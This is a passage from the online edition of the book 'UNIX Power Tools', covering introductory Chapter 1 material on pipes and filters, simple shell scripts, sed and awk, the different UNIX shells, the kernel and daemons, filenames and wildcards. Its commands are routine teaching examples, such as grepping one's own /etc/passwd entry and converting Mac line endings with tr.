  3. If no arguments are given, a program should read the standard input (usually the terminal keyboard) and write the standard output (usually the terminal screen).

Programs that can be used in this way are often called filters.

One of the most important consequences of these guidelines is that programs can be strung together in "pipelines" in which the output of one program is used as the input of another. A vertical bar (|) represents the pipe (1.4): it means "take the output of the program on the left and feed it into the program on the right."

For example, you can pipe the output of a search program to another program that sorts the output, and then pipe the result to the printer program or redirect it to a file (13.1).

- TOR

Previous: 1.2 Who Listens to What You Type? | UNIX Power Tools | Next: 1.4 Using Pipes to Create a New Tool
1.2 Who Listens to What You Type? | Book Index | 1.4 Using Pipes to Create a New Tool
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.4 Using Pipes to Create a New Tool

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.3 Programs Are Designed to Work Together Chapter 1
Introduction 		Next: 1.5 Anyone Can Program the Shell

1.4 Using Pipes to Create a New Tool

It's easy enough to imagine a trivial use of pipes (1.3). For example, whenever the output of a command is longer than will fit on a single screen, you might want to pipe to a pager program such as more (25.3), which shows the output a screenful at a time, and waits for you to press a key before it shows the next screen. If you were a writer like me, and wanted to check each "which" that you wrote to find out if any of them should have been "that," you might use the search program grep (27.1) and type:

[Ww]
% grep '[Ww]hich' chapter1 | more

(Article 13.1 has more about pipes.) more lets you see the output a screenful at a time.

However, if you want to see how pipes can be really useful, you need to be a little more ambitious, or maybe just have a more specialized problem.

For example, the troff (43.13) formatting package (used in our office for typesetting some of our books) includes an indexing feature that allows the user to enter indexing commands of the following form:

.XX "topic, subtopic"

When the document is printed, the formatting package collects these entries, adds page numbers, and assembles the index. It is important that all entries be consistent. For example, if at one point the user makes the entry:

.XX "Indexing, introduction to"

and at another point:

.XX "Index, introduction to"

the program will generate two separate entries rather than merging them into one entry with two page references.

In order to check the consistency of index entries, one could enter the following command:

% cat files | grep .XX | sort -u | more

In this command, files is a list of the files to be checked. grep searches through that text for a specified string or pattern. [1] sort -u (36.6) puts the lines selected by grep in alphabetical order and removes duplicate lines.

[1] The pattern is a regular expression (26.4) in which a dot (.) stands for "any character." To be precise, use the command grep '^\.XX' instead.

The pipeline is started with the cat (25.2) command, which simply types the files' contents so that the input to the pipeline will be a single, continuous stream of text. (Otherwise grep will print the name of the file in which the string is found, which will keep the lines from being sorted correctly. In some versions of grep, the -h option can be used to suppress filenames. To see if this works on your UNIX system, type grep -h .XX files, omitting cat and the pipe.)

This is a very specific - and normally very tedious - job that needs to be done. And because UNIX provides general-purpose tools and an easy way of using them together in a kind of assembly line, you are provided a relatively simple way to get the job done.

But...

"Ugh!" you say, "That's just what I hate about UNIX. All these long filenames and options I can't remember. Who wants to type all that stuff!"

Precisely. That's why UNIX makes it so easy to create custom commands, in the form of aliases (10.2), shell functions (10.9), and shell scripts (1.5).

- TOR

Previous: 1.3 Programs Are Designed to Work Together | UNIX Power Tools | Next: 1.5 Anyone Can Program the Shell
1.3 Programs Are Designed to Work Together | Book Index | 1.5 Anyone Can Program the Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.5 Anyone Can Program the Shell

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.4 Using Pipes to Create a New Tool Chapter 1
Introduction 		Next: 1.6 Power Tools for Editing

1.5 Anyone Can Program the Shell

One of the really wonderful things about the shell is that it doesn't just read and execute the commands you type at a prompt. The shell is a complete programming language.

The ease of shell programming is one of the real highlights of UNIX for novices. A shell program need be no more than a single complex command line saved in a file - or a series of commands.

For example, let's say that you occasionally need to convert a Macintosh Microsoft Word file for use on your UNIX system. Word lets you save the file in ASCII format. But there's a catch: the Macintosh uses a carriage return (ASCII character 015 (51.3)) to mark the end of each line, while UNIX uses a linefeed (ASCII 012). As a result, with UNIX, the file looks like one long paragraph, with no end in sight.

That's easy to fix: the UNIX tr (35.11) command can convert every occurrence of one character in a file to another:

% tr '\015' '\012' < file.mac > file.UNIX

But you're a novice, and you don't want to remember this particular piece of magic. Fine. Save the first part of this command line in a file called mac2UNIX in your personal bin directory (4.2):

tr '\015' '\012'

Make the file executable with chmod (22.7):

% chmod +x mac2UNIX

Now you can say:

% mac2UNIX < file.mac > file.UNIX

But say, why settle for that? What if you want to convert a bunch of files at once? Easy. The shell includes a general way of referring to arguments passed to a script, and a number of looping constructs. The script:

for

$x

for x
do
    echo "Converting $x"
    tr '\015' '\012' < "$x" > "tmp.$x"
    mv "tmp.$x" "$x"
done

will convert any number of files with one command, replacing each original with the converted version:

% mac2UNIX file1 file2 file3 ...

As you become more familiar with UNIX, it quickly becomes apparent that doing just a little homework can save hours of tedium. This script incorporates only two simple programming constructs: the for loop and variable substitution (6.8, 6.1). As a new user, with no programming experience, I learned these two constructs by example: I saved a skeleton for loop in a file and simply filled in the blanks with whatever commands I wanted to repeat.

Simple shell programs like this did more for my feeling that computers could automate my work than anything since my first introduction to word processing. It made real sense of the line, "Let the computer do the dirty work."

In short, UNIX is sometimes difficult because it is so rich and complex. The user who doesn't want to learn the complexity doesn't have to - the basic housekeeping commands are as simple as MS-DOS on the IBM PC. But the user who wants to take the time to investigate the possibilities can uncover a wealth of useful tools.

- TOR

Previous: 1.4 Using Pipes to Create a New Tool | UNIX Power Tools | Next: 1.6 Power Tools for Editing
1.4 Using Pipes to Create a New Tool | Book Index | 1.6 Power Tools for Editing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.6 Power Tools for Editing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.5 Anyone Can Program the Shell Chapter 1
Introduction 		Next: 1.7 Power Grows on You

1.6 Power Tools for Editing

My wife won't let me buy a power saw. She is afraid of an accident if I use one. So I rely on a hand saw for a variety of weekend projects like building shelves. However, if I made my living as a carpenter, I would have to use a power saw. The speed and efficiency provided by power tools would be essential to being productive.

For people who create and modify text files, sed (34.24) and awk (33.11) are power tools for editing. Most of the things that you can do with these programs can be done interactively with a text editor. However, using sed and awk can save many hours of repetitive work in achieving the same result.

sed and awk are peculiar and it takes time to learn them, but the capabilities they provide can repay the learning many times over, especially if text editing is a normal part of your trade.

Both of these programs let you write editing scripts to do many of the things that you might otherwise do laboriously with repeated commands in an editor like vi (30.2).

Even more important, they let you do edits on data that is streaming through UNIX pipes - (43.21, 27.15, 18.9, 17.17) data that may never be written back into a file.

However, the primary motivation for learning sed and awk is that they are useful for devising general solutions to text editing problems. For some people, myself included, the satisfaction of solving a problem is the difference between work and drudgery. Given the choice of using vi or sed to make a series of repeated edits over a number of files, I will choose sed, simply because it makes the problem more interesting to me. I am refining a solution instead of repeating a series of keystrokes. Besides, once I accomplish my task, I congratulate myself on being clever. I feel like I have done a little bit of magic and spared myself some dull labor.

Initially, using sed and awk will seem like the long way to accomplish a task. After several attempts you may conclude that the task would have been easier to do manually. Be patient. You not only have to learn how to use sed and awk but you also need to learn to recognize situations where using them pays off. As you become more proficient, you will not only solve problems more quickly, you will solve a broader range of problems.

- DD from O'Reilly & Associates' sed & awk, Chapter 1

Previous: 1.5 Anyone Can Program the Shell | UNIX Power Tools | Next: 1.7 Power Grows on You
1.5 Anyone Can Program the Shell | Book Index | 1.7 Power Grows on You
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.7 Power Grows on You

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.6 Power Tools for Editing Chapter 1
Introduction 		Next: 1.8 There Are Many Shells

1.7 Power Grows on You

It has been said that UNIX is not an operating system as much as it is a way of thinking. In The UNIX Programming Environment, Kernighan and Pike write that at the heart of the UNIX philosophy "is the idea that the power of a system comes more from the relationships among programs than from the programs themselves."

Almost all of the utility programs that run under UNIX share the same user interface - a minimal interface to be sure - but one that allows them to be strung together in pipelines to do jobs that no single program could do alone.

There are many operating systems with features UNIX can't match - better performance, better documentation, more ease of use. But none of them are so powerful or so exciting to use once you get the hang of pipes and filters, and the programming power of the shell.

A new user starts by stringing together simple pipelines and, when they get long enough, saving them into a file (1.5) for later execution. Gradually, if the user has the right temperament, he gets the idea that the computer can do more of the boring part of many jobs. Perhaps he starts out with a for loop (9.12) to apply the same editing script to a series of files. Conditions and cases soon follow and before long, he finds himself programming.

On most systems, you need to learn consciously how to program. You must take up the study of one or more programming languages and spend a fair amount of concentrated effort before you can do anything productive. UNIX, on the other hand, teaches programming imperceptibly - it is a slow but steady extension of the work you do simply in interacting with the computer.

Before long, you can step outside the bounds of the tools that have already been provided by the designers of the system, and solve problems that don't quite fit the mold. This is sometimes called hacking; in other contexts, it is called "engineering." In essence, it is the ability to build a tool when the right one is not already on hand.

Dale Dougherty compares UNIX to the Volkswagen beetle, that unique automobile of the '60s and '70s. Its simple design was in part what made it popular; the "bug" was hand-maintainable. VW owners (users) could tinker with their cars, performing such tasks as changing spark plugs by hand. They scoffed at owners of other cars who depended upon auto mechanics. It is perhaps this same feeling of independence (let me do it myself) that the UNIX environment fosters in its users. There are many other, quite capable software environments that are packaged to keep users out, like a television set.

In some ways, the secret of UNIX is that its working parts are visible. The UNIX environment, like the VW beetle, is designed so that users can take it apart and put it back together. UNIX provides general-purpose tools, all of which are designed to work together.

No single program, however well thought out, will solve every problem. There is always a special case, a special need, a situation that runs counter to the expected. But UNIX is not a single program. It is a collection of hundreds of them, and with these basic tools, a clever or dedicated person can meet just about any computing problem.

Like the fruits of any advanced system, these capabilities don't fall unbidden into the hands of new users. But they are there for the reaching. And over time, even those users who want a system they don't have to think about will gradually reach out for these capabilities. Faced with a choice between an hour spent on a boring, repetitive task and an hour putting together a tool that will do the task in a flash, most of us will choose the latter.

- TOR

Previous: 1.6 Power Tools for Editing | UNIX Power Tools | Next: 1.8 There Are Many Shells
1.6 Power Tools for Editing | Book Index | 1.8 There Are Many Shells
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.8 There Are Many Shells

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.7 Power Grows on You Chapter 1
Introduction 		Next: 1.9 Which Shell Am I Running?

1.8 There Are Many Shells

With most operating systems, the command intepreter is built in; it is an integral part of the operating system. With UNIX, your command interpreter is just another program. Traditionally, a command interpreter is called a "shell," perhaps because it protects you from the underlying kernel - or because it protects the kernel from you!

Several different shells are available: you are free to choose the one that best suits your interests or your application. The most common ones are:

sh

The Bourne shell (named after its creator, Steve Bourne). This is the oldest of the current UNIX shells and is available on most UNIX systems. (Some systems have replaced sh with a newer shell, like ksh or bash, that has the features of sh and more.) It is a bit primitive and lacks job control features (the ability to move jobs from the foreground to the background). Most UNIX users consider the Bourne shell superior for shell programming or writing command files.

csh

The C shell. It was developed at Berkeley as part of their UNIX implementation and has been by far the most popular shell for interactive use. You will occasionally find a System V UNIX where the C shell isn't available, but this is very rare. It has a lot of nice features that aren't available in the Bourne shell, including job control (12.8) and history (11.2) (the ability to repeat commands that you have already given). However, while you won't have trouble with normal usage, it isn't hard for a shell programmer to push the C shell to its limits (47.2). There are a lot of hidden bugs.

ksh

The Korn shell (also named after its creator, David Korn). The Korn shell is compatible with the Bourne shell, but has most of the C shell's features plus some completely new features, like history editing (11.13): the ability to recall old commands and edit them before executing them. It is also more reliable than csh. The Korn shell is a standard part of UNIX System V Release 4; it has also been included in some other UNIX implementions.

bash

The "Bourne-again" shell developed by the Free Software Foundation (52.9). bash (8.2) is fairly similar to the Korn shell. It has many of the C shell's features, plus history editing and a built-in help command.

tcsh

You may run into some extended versions of the C shell like tcsh. tcsh (8.3) works like the original C shell - but with more features, and fewer mis-features.

There are also a few third-party shells that serve special purposes, like emulating the VAX/VMS command language (DCL). I don't know if there is a DOS-lookalike shell available, but there probably is. Why you would want it is another question: all of the standard UNIX shells do a lot more than the DOS command interpreter. Furthermore, I like to discourage UNIX users from pretending that UNIX is something else. You are going to be spending a lot of time using UNIX: you will be better off learning it properly than trying to make it look like some other operating system.

In this book, we'll stick to the C shell and bash for interactive use. Because bash and ksh can read scripts written for the original Bourne shell, we use sh for shell programming.

Where we talk about "the Bourne Shell" or sh, it's usually a safe bet that the information applies to bash and ksh too. In the same way, "the C shell" generally also means tcsh-and, in some cases, bash as well. Just because bash, ksh and tcsh have the features of the shells they came from, though, it isn't safe to assume that their features are in the original csh or sh too.

If you're new to UNIX, don't worry about keeping track of all these shells. In this book, we talk mostly about the C and Bourne shells. Those two shell "styles" are all you really need to know at the start. Later, you can learn and appreciate what's been added to ksh, tcsh, and bash.

- ML, JP

Previous: 1.7 Power Grows on You | UNIX Power Tools | Next: 1.9 Which Shell Am I Running?
1.7 Power Grows on You | Book Index | 1.9 Which Shell Am I Running?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.9 Which Shell Am I Running?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.8 There Are Many Shells Chapter 1
Introduction 		Next: 1.10 Internal and External Commands

1.9 Which Shell Am I Running?

You can usually tell which family your shell belongs to by a character in the prompt it displays. Bourne-type shells usually have $ in the prompt. The C shell uses %. (But tcsh users often use >.)

It's possible to customize the prompt (7.1) so that it displays additional information, but most users and system administrators will keep the convention of ending the prompt with the original prompt character.

To be certain, type one of these commands (the second is for systems that use NIS, Sun's Network Information Service, to manage network-wide files):

% grep yourloginname /etc/passwd
% ypcat passwd | grep yourloginname

You should get back the contents of your entry in the system password file. [2] For example:

[2] That may match more than one entry. Searching for tim could also find a user named timothy or fatima. A more accurate regular expression (26.1) is '^yourloginname:'.

tim::23:10:Tim O'Reilly:/home/tim:/bin/csh

The fields are separated by colons. The last field should show the shell you are using. /bin/csh (or /usr/bin/csh) is the C shell, /bin/sh is the Bourne shell (or Korn shell), and so forth. An empty last field defaults to the Bourne shell.

In case you're interested in the rest of the line, the first field shows your login name. The second stores your encrypted password, if any; this may be kept in a separate "shadow password" file. The third and fourth fields show your user ID or UID (38.3) and group ID or GID (38.3), respectively. The fifth field often contains information about you, and the sixth your home directory.

- TOR

Previous: 1.8 There Are Many Shells | UNIX Power Tools | Next: 1.10 Internal and External Commands
1.8 There Are Many Shells | Book Index | 1.10 Internal and External Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.10 Internal and External Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.9 Which Shell Am I Running? Chapter 1
Introduction 		Next: 1.11 How the Shell Executes Other Commands

1.10 Internal and External Commands

Some commands that you type are internal, built into the shell. For example, the cd command is built-in. That is, the shell interprets that command and changes your current directory (1.21) for you. The ls command, on the other hand, is an external program stored in the file /bin/ls.

The shell doesn't start a separate process to run internal commands. External commands require the shell to fork and exec (1.11) a new subprocess (38.3); this takes some time, especially on a busy system. (Article 7.4 shows an example where extra speed can be important.)

When you type the name of a command, the shell first checks to see if it is a built-in command and, if so, executes it. If the command name is an absolute pathname (1.21) beginning with /, like /bin/ls, there is no problem: the command is likewise executed. If the command is neither built-in, nor specified with an absolute pathname, the shell looks in its search path (8.7) for an executable program or script with the given name.

The search path is exactly what its name implies: a list of directories that the shell should look through for a command whose name matches what is typed.

The search path isn't built into the shell; it's something you specify in your shell setup files (2.2).

By tradition (21.4), UNIX system programs are kept in directories called /bin and /usr/bin, with additional programs usually used only by system administrators in /etc and /usr/etc. Many versions of UNIX also have programs stored in /usr/ucb (named after the University of California at Berkeley, where many UNIX programs were written). There may be other directories containing programs. For example, the programs that make up the X Window System (1.31) are stored in /usr/bin/X11. Users or sites often also have their own directories where custom commands and scripts are kept, such as /usr/local/bin.

The search path is stored in an environment variable (6.1) called PATH (6.4). A typical PATH setting might look something like this:

PATH=/bin:/usr/bin:/usr/bin/X11:/usr/ucb:/home/tim/bin:

The path is searched in order, so if there are two commands with the same name, the one that is found first in the path will be executed.

You can add new directories to your search path (8.7) on the fly, but the path is usually set in shell setup files.

- TOR

Previous: 1.9 Which Shell Am I Running? | UNIX Power Tools | Next: 1.11 How the Shell Executes Other Commands
1.9 Which Shell Am I Running? | Book Index | 1.11 How the Shell Executes Other Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.11 How the Shell Executes Other Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.10 Internal and External Commands Chapter 1
Introduction 		Next: 1.12 What Makes a Shell Script?

1.11 How the Shell Executes Other Commands

When the shell executes an external command (1.10), what happens?

UNIX programs are executed through a combination of two system calls (low-level requests to the operating system) called fork and exec.

The exec system call tells the kernel to execute another program. However, the kernel replaces the calling program with the new one being called. This doesn't work too well if you want to return to the original program after the second one has done its job.

To get around this problem, programs that want to stick around first copy themselves with the fork system call. Then the copied program execs the new program, terminating itself in the process.

You don't really need to know this little tidbit about what goes on behind the scenes, but it sure helps to know about fork and exec when reading some UNIX manuals. Article 38.2 has more information.

- TOR

Previous: 1.10 Internal and External Commands | UNIX Power Tools | Next: 1.12 What Makes a Shell Script?
1.10 Internal and External Commands | Book Index | 1.12 What Makes a Shell Script?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.12 What Makes a Shell Script?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.11 How the Shell Executes Other Commands Chapter 1
Introduction 		Next: 1.13 Why Fundamentals Are Important

1.12 What Makes a Shell Script?

A shell script is just an ASCII file (52.9) containing a saved sequence of commands.

If you were to store a list of commands in a file for one-time use, you could execute it by typing:

% sh mycommands

where mycommands is the name of the file containing the list of commands. This would tell the shell to treat the file as a list of commands to be executed.

But there's a better way to tell the shell to execute the contents of a file, and that is to make the file executable with the chmod (22.7) command:

% chmod +x mycommands

Then, all you have to do to execute the script is type its name. (To make it even easier to use, you should store it in a personal bin directory and add the bin to your search path .) (8.7)

Of course, in either case, all of the lines in the file need to be meaningful to the shell! If you accidentally made a letter to your mother executable, and tried to run it as a shell script, you'd get error messages like this, containing the first word of each line in the letter:

letter: Dear: not found

The shell would try to interpret that word as a command, and report back that it doesn't know any command by that name.

Also, to really make good use of shell scripts, you need to understand how to pass arguments to a script (44.15) and how to use some simple programming constructs (1.5).

- TOR

Previous: 1.11 How the Shell Executes Other Commands | UNIX Power Tools | Next: 1.13 Why Fundamentals Are Important
1.11 How the Shell Executes Other Commands | Book Index | 1.13 Why Fundamentals Are Important
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.13 Why Fundamentals Are Important

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.12 What Makes a Shell Script? Chapter 1
Introduction 		Next: 1.14 The Kernel and Daemons

1.13 Why Fundamentals Are Important

Yes, we know. Fundamentals, principles, and all of that is boring. You bought a book called UNIX Power Tools and expected to read about all sorts of clever tricks. You didn't want the book to start with a bunch of lectures.

Well, this book contains plenty of tricks. We promise. But there's something else you ought to know. For UNIX, the biggest difference between a power user and a duffer is that a power user knows what he's doing and why he's doing it. The duffer may know as many commands and have his own army of tricks - but he won't know when to use them, or why he's using them. Many of the tricks aren't really tricks at all: they're really fairly obvious solutions to common problems, once you've learned how to think about the problem correctly. Our goal is to help you to become "creative" about UNIX: to get you to the point where you can analyze your own problems and come up with your own solution for them. A grab-bag is really no good unless you know how to give yourself your own presents.

- ML

Previous: 1.12 What Makes a Shell Script? | UNIX Power Tools | Next: 1.14 The Kernel and Daemons
1.12 What Makes a Shell Script? | Book Index | 1.14 The Kernel and Daemons
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.14 The Kernel and Daemons

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.13 Why Fundamentals Are Important Chapter 1
Introduction 		Next: 1.15 Filenames

1.14 The Kernel and Daemons

If you have arrived at UNIX via DOS or some other personal computer operating system, you will notice some big differences. UNIX is, was, and always will be a multiuser operating system. It is a multiuser operating system even when you're the only person using it. It is a multiuser operating system even when it is running on a PC with a single keyboard. And this fact has important ramifications for everything that you do.

Why does this make a difference? Well, for one thing, you're never the only one using the system, even when you think you are. Don't bother to look under your desk to see if there's an extra terminal hidden down there. There isn't. But UNIX is always doing things "behind your back," running programs of its own, whether or not you are aware of it. The most important of these programs, the kernel, is the heart of the UNIX operating system itself. The kernel assigns memory to each of the programs that are running, partitions time fairly so that each program can get its job done, handles all I/O (input/output) operations, and so on. Another important group of programs, called daemons, are the system's "helpers." They run from time to time performing small but important tasks like handling mail, running network communications, feeding data to your printer, keeping track of the time, and so on.

You can use UNIX for a long time without being aware of the kernel or any of the daemons. If you suddenly see a "panic" message on your terminal and your system stops in its tracks (crashes), you've just had a run-in with the kernel. Something has gotten the kernel confused, and it has decided to give up rather than risk doing something foolish. And there's not much you can do to remedy a panic; the problem usually isn't your fault. But you should know where they're coming from. Similarly, daemons may occasionally bombard you with messages. And when you give the ps command (see the following list), there may be some names that you don't recognize. These are probably the names of daemons that happen to be doing something benevolent at the moment. Right now, we won't worry about them. But you should know that they are there.

Not only are you sharing the computer with the kernel and some mysterious daemons, you're also sharing it with yourself. I am currently using a Sun 3 workstation. If I give the command ps (38.5), which lists all the programs I am running, I get the following report:

PID TT STAT  TIME COMMAND
 1449 co IW    0:01 sunview
 1453 co S     0:27 clock -Wp 497 32 -WP 704 0 -Wi -Wh 1
 1451 p0 IW    0:04 shelltool
 1452 p0 IW    0:00 -bin/csh (csh)
 1454 p1 R     2:52 shelltool
 1455 p1 S     0:01 -bin/csh (csh)
 2217 p1 R     0:00 ps
 1504 p2 S     1:54 shelltool
 1505 p2 IW    0:01 -bin/csh (csh)
 1884 p2 S     1:32 emacs princip3.otl

I may think that I'm only running the editor Emacs, but the computer is actually doing a lot more for me. I'm also running sunview, which keeps track of Sun's display, and I'm running a program that displays a little clock in one corner of my screen. I'm running several "command tools," which are windows (or areas of the screen) that act like separate terminals. Each command tool has a shell (csh), which is a command interpreter that deciphers everything I type at the keyboard. And I'm running the ps command. And, waiting patiently somewhere, my lonely Emacs editor is waiting for me to type some more.

If you are running the X window system (1.31) or if you're using a computer with the System V layers facility, you will see something different. But we guarantee that you're running at least two programs, and quite likely many more. If you want to see everything that's running, including the daemons, type the command ps -aux (for BSD) or ps -el (for many other flavors of UNIX). You'll be impressed.

Because there is so much going on at once, you have to get used to a different way of thinking about UNIX. The UNIX kernel is a traffic cop that mediates different demands for time, for memory, for disks, and so on. Not only does the kernel need to run your programs, but it also needs to run the daemons, any programs that other users might want to start, or any programs that you may have scheduled to run automatically (40.1). When it runs a program, the kernel allocates a small slice of time - up to a second - and lets the program run until that slice is used up, or the program decides to take a rest of its own accord (this is called "sleeping"). At this point, whether or not the program is finished, the kernel finds some other program to run. The UNIX kernel never takes a vacation. It is always watching over the system.

Once you understand that the kernel is a manager that schedules many different kinds of activity, you understand a lot about how UNIX works. For example, if you have used any computer system previously, you know that it's a bad idea to turn the computer off while it is writing something on the disk. You will probably destroy the disk, and could conceivably damage the disk drive. The same is true for UNIX-but with an important complication. Any of the programs that are running can start doing something to the disk at any time. One of the daemons makes a point of accessing the disk drive every 30 seconds or so, just to stay in touch. Therefore, you can't just turn a UNIX computer off. You might do all sorts of damage to the system's files - and not just your own, but conceivably files belonging to many other users. To turn a UNIX system off, you must first run a program called shutdown, which kicks everyone off the system and makes sure that a daemon won't try to play with a disk drive when you aren't looking. Then you run a program named sync, which makes sure that the disks have finished doing everything. Only then is it safe to pull the switch. When you start up a UNIX system, it automatically runs a program called fsck, which stands for "filesystem check"-its job is to find out if you shut down the system correctly and fix any damage that might have happened if you didn't.

In this book, we will avoid administrative issues like shutdown, sync, and fsck. But they provide good examples of how UNIX differs from simpler operating systems. If you understand why these programs are needed, you are on your way to becoming a power user.

- ML

Previous: 1.13 Why Fundamentals Are Important | UNIX Power Tools | Next: 1.15 Filenames
1.13 Why Fundamentals Are Important | Book Index | 1.15 Filenames
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.15 Filenames

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.14 The Kernel and Daemons Chapter 1
Introduction 		Next: 1.16 Wildcards

1.15 Filenames

Like all operating systems, UNIX files have names: words (sequences of characters, whatever) that let you identify a file. Older versions of UNIX had some restrictions on the length of a filename (14 characters), but modern versions have removed these restrictions for all practical purposes. Sooner or later you will run into a limit, but if so, you are probably being unnecessarily verbose.

Technically, a filename can be made from almost any group of characters (including non-printing characters) except a slash (/). However, you should avoid filenames containing most punctuation marks and all non-printing characters. These will usually be a pain. To be safe, limit your filenames to the following characters:

  • Uppercase and lowercase characters. UNIX is always case-sensitive. That is, uppercase and lowercase letters are always different (unlike DOS and VAX/VMS, which consider uppercase and lowercase letters the same). Therefore, myfile and Myfile are different files. It is usually a bad idea to have files whose names differ only in their capitalization, but that's your decision.

  • Underscores (_). Underscores are handy for separating "words" in a filename to make them more readable. For example, my_long_filename is easier to read than mylongfilename.

  • Periods (.). Periods are used by some programs (such as the C compiler) to separate filenames from filename extensions (1.17). Extensions are used by these programs to recognize the type of file to be processed, but they are not treated specially by the shell, the kernel, or other UNIX programs.

    Filenames that begin with a period are treated specially by the shell: wildcards won't match (1.16) them unless you include the period (like .*). The ls command, which lists your files, ignores files whose names begin with a period unless you give it a special option (ls -a (16.11)). Special configuration files are often "hidden" in directories by beginning their names with a period.

  • Certain other punctuation. About the only other punctuation mark that is always safe is the comma (,)-although it isn't part of the POSIX-portable character set. The other punctuation marks may have special meanings in one situation or another. Stay away from them, or you will create filenames that are inconvenient to work with.

I'm so dead-set against using weird, non-printing characters in filenames that I won't even tell you how to do it. I will give you some special techniques for deleting files with weird names (23.11), in case you create some by accident.

Some things to be aware of:

  • UNIX does not have any concept of a file version. There are some revision control programs (20.12) that implement their own notion of a version, but there is nothing analogous to VAX/VMS's version number. If you are editing a file, don't count on UNIX to save your previous versions - you can make scripts to do this (44.11) though, if you want to; the GNU Emacs editor also makes backups (32.4).

  • Once you delete a file in UNIX, it is gone forever (23.2). You can't get it back without restoring it from a tape. Be careful when you delete files. Later, we'll show you programs (23.8, 23.9) that will give you a "grace period" between the time you delete a file and the time it actually disappears.

- ML

Previous: 1.14 The Kernel and Daemons | UNIX Power Tools | Next: 1.16 Wildcards
1.14 The Kernel and Daemons | Book Index | 1.16 Wildcards
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.16 Wildcards

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.15 Filenames Chapter 1
Introduction 		Next: 1.17 Filename Extensions

1.16 Wildcards

The shells provide a number of wildcards that you can use to abbreviate filenames or refer to groups of files. For example, let's say you want to delete all filenames in the current directory (1.21) ending in .txt. You could delete these files one by one, but that would be boring if there were only five and very boring if there were a hundred. Instead, you can use a wildcarded name to say, "I want all files whose names end with .txt, regardless of what the first part is." The wildcard is the "regardless" part. Like a wildcard in a poker game, a wildcard in a filename can have any value.

The wildcard you see most often is * (asterisk), but we'll start with something simpler: ? (question mark). When it appears in a filename, the ? matches any single character. For example, letter? refers to any filename that begins with letter and has one character after that. This would include letterA, letter1, as well as filenames with a non-printing character as their last letter, like letter^C.

The * wildcard matches any character or group of zero or more characters. For example, *.txt matches all files whose names end with .txt, *.c matches all files whose names end with .c (by convention, source code for programs in the C language), and so on.

The * and ? wildcards are sufficient for 90 percent of the situations that you will find. However, there are some situations that they can't handle. For example, you may want to list files whose names end with .txt, mail, or let. There's no way to do this with a single *; it won't let you exclude the files you don't want. In this situation, use a separate * with each filename ending:

*.txt *mail *let

Sometimes you need to match a particular group of characters. For example, you may want to list all filenames that begin with digits, or all filenames that begin with uppercase letters. Let's assume that you want to work with the files program.n, where n is a single-digit number. Use the filename:

program.[0123456789]

In other words, the wildcard [character-list] matches any single character that appears in the list. The character list can be any group of ASCII characters; however, if they are consecutive (e.g., A-Z, a-z, 0-9, or 3-5, for that matter), you can use a hyphen as shorthand for the range. For example, [a-zA-Z] means any alphabetic character.

There is one exception to these wildcarding rules. Wildcards never match /, which is both the name of the filesystem root (1.19) and the character used to separate directory names in a path (1.21).

If you are new to computers, you probably will catch on to UNIX wildcarding quickly. If you have used any other computer system, you have to watch out for one very important detail. Virtually all computer systems except for UNIX consider a period (.) a special character within a filename. Many operating systems even require a filename to have a period in it. With these operating systems, a * does not match a period; you have to say *.*. Therefore, the equivalent of rm * does virtually nothing on most operating systems. Under UNIX, it is very dangerous: it means "delete all the files in the current directory, regardless of their name." You only want to give this command when you really mean it.

